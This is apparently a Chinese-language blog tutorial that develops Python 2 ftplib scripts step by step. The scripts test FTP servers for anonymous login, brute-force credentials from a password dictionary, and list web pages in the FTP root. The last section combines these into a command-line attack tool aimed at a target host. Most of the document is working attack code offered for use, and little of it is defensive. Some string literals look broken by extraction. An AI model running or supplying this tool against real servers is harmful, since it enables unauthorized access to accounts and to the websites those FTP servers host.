目录
环境:Windows python2.7.15
ftplib模块是python下用于ftp服务的模块 。
判断FTP服务器是否允许匿名登录
以下代码是判断FTP服务器是否允许匿名登录
我们写了一个anonLogin() 函数,使用 ftp.login()方法进行匿名登录,如果没有抛出异常,说明FTP服务器允许匿名登录。反之不允许。
# -*- coding: utf-8 -*-
"""
Created on Sun Nov 4 10:25:17 2018
@author: 小谢
"""
import ftplib
def anonLogin(hostname):
try:
ftp=ftplib.FTP(hostname) #实例化FTP连接
ftp.login('anonymous','') #匿名登录
print '
[*] '+hostname+' FTP Anonymous Login Succeeded!'
ftp.quit() #退出FTP
return True
except Exception,e: #如果捕获到异常,说明不允许匿名登录
print '
[-] '+str(hostname)+' FTP Anonymous Login Failed!'
return False
anonLogin('127.0.0.1')
暴力破解FTP口令
如果ftp服务器不允许匿名登录呢,我们就需要通过密码字典暴力破解ftp口令。我们通过读取密码字典中的用户名和口令,一个一个去尝试登录,如果没捕获到异常,说明用户名和口令正确!密码字典中用户名和口令用 : 分隔。
# -*- coding: utf-8 -*-
"""
Created on Sun Nov 4 10:36:49 2018
@author: 小谢
"""
import ftplib
def bruteLogin(hostname,passwdFile):
f=open(passwdFile,'r')
lines=f.readlines()
for line in lines:
user=line.split(":")[0] #用户名
passwd=line.split(":")[1].strip("
") #密码
print '[+] Trying: '+user+": "+passwd
try:
ftp=ftplib.FTP(hostname) #实例化FTP连接
ftp.login(user,passwd) #登录
print '
[*] '+hostname +' FTP Login Succeeded!'
ftp.quit() #退出FTP
return(user,passwd) #返回用户名和密码
except Exception,e:
pass
print '
[-] Could not brute force FTP credentials!'
return(None,None)
a=bruteLogin("127.0.0.1","key.txt")
print("User:%s Password:%s"%a)
列出FTP目录内的网页文件
在得到了用户名和口令之后,我们就可以列出FTP目录下的文件,看是否存在网页文件。注意,我们这里只能判断FTP目录这一级的文件,而不能递归的判断目录内的文件。因为我们只知道FTP目录的相对路径,而不知道绝对路径!
# -*- coding: utf-8 -*-
"""
Created on Sun Nov 4 10:51:13 2018
@author: 小谢
"""
import ftplib
import os
def returnDefault(ftp):
try:
dirList=ftp.nlst() #列出FTP目录下的文件或目录
except:
dirList=[]
print '[-] Could not list directory contents!'
return
retList=[]
for filename in dirList:
fn=filename.lower() #将目录名转换为小写
if '.php' in fn or '.html' in fn or '.asp' in fn or '.jsp' in fn or '.htm' in fn:
print'[+] Found default page:'+filename
retList.append(filename)
return retList
def main():
ftp=ftplib.FTP("127.0.0.1") #实例化FTP连接
ftp.login("admin","root")
a=returnDefault(ftp)
if a:
print("Defalut Page List:")
for i in a:
print(i)
main()
综合
我们可以结合前面三个脚本,写一个汇总的脚本。当用户执行脚本的时候,没加 -F/-f 参数指定密码字典的时候,就默认查看FTP服务器是否可匿名登录,如果可匿名登录,则列出FTP目录下的网页文件。如果不能匿名登录,就提示不能匿名登录。当指定了-F/-f 参数的话,就暴力破解 FTP 口令,如果破解成功了,则列出FTP目录下是的网页文件。
# -*- coding: utf-8 -*-
"""
Created on Sun Nov 4 12:12:41 2018
@author: 小谢
"""
import parser
import optparse
import ftplib
def anonLogin(hostname): #验证是否可匿名登录
try:
ftp=ftplib.FTP(hostname)
ftp.login('','') #匿名登录
print '
[*] '+hostname +' FTP Anonymous Login Succeeded!'
return (True,ftp)
except:
print '
[-] '+str(hostname)+' FTP Anonymous Login Failed!'
return (False,ftp)
def bruteLogin(hostname,passwdFile): #暴力破解
f=open(passwdFile,'r')
lines=f.readlines()
for line in lines:
user=line.split(":")[0] #用户名
passwd=line.split(":")[1].strip("
") #密码
try:
ftp=ftplib.FTP(hostname)
ftp.login(user,passwd)
print '
[*] '+hostname +' FTP Login Succeeded!'
print("User:%s Password:%s"%(user,passwd))
return(True,ftp)
except Exception,e:
pass
print '
[-] Could not brute force FTP credentials!'
return(False,ftp)
def returnDefault(ftp): #列出FTP目录下的网页文件
try:
dirList=ftp.nlst() #列出FTP目录下的文件或目录
except Exception,e:
print e
print '[-] Could not list directory contents!'
return
retList=[]
for filename in dirList:
fn=filename.lower() #将目录名转换为小写
if '.php' in fn or '.html' in fn or '.asp' in fn or '.jsp' in fn or '.htm' in fn:
print'[+] Found default page:'+filename
retList.append(filename)
return retList
def main():
usage="python %prog -H <target host> -F/f <password file>" #显示文件的用法帮助信息
parser=optparse.OptionParser(usage) #实例化一个对象
parser.add_option('-H',dest='Host',type='string',help='target host')
parser.add_option('-f','-F',dest='File',type='string',help='target host')
(options,args)=parser.parse_args()
Host=options.Host
File=options.File
if Host==None:
print(parser.usage)
exit(0)
if File==None:
a=anonLogin(Host)
if a[0]:
returnDefault(a[1])
else:
b=bruteLogin(Host,File)
if b[0]:
returnDefault(b[1])
return
if __name__=="__main__":
main()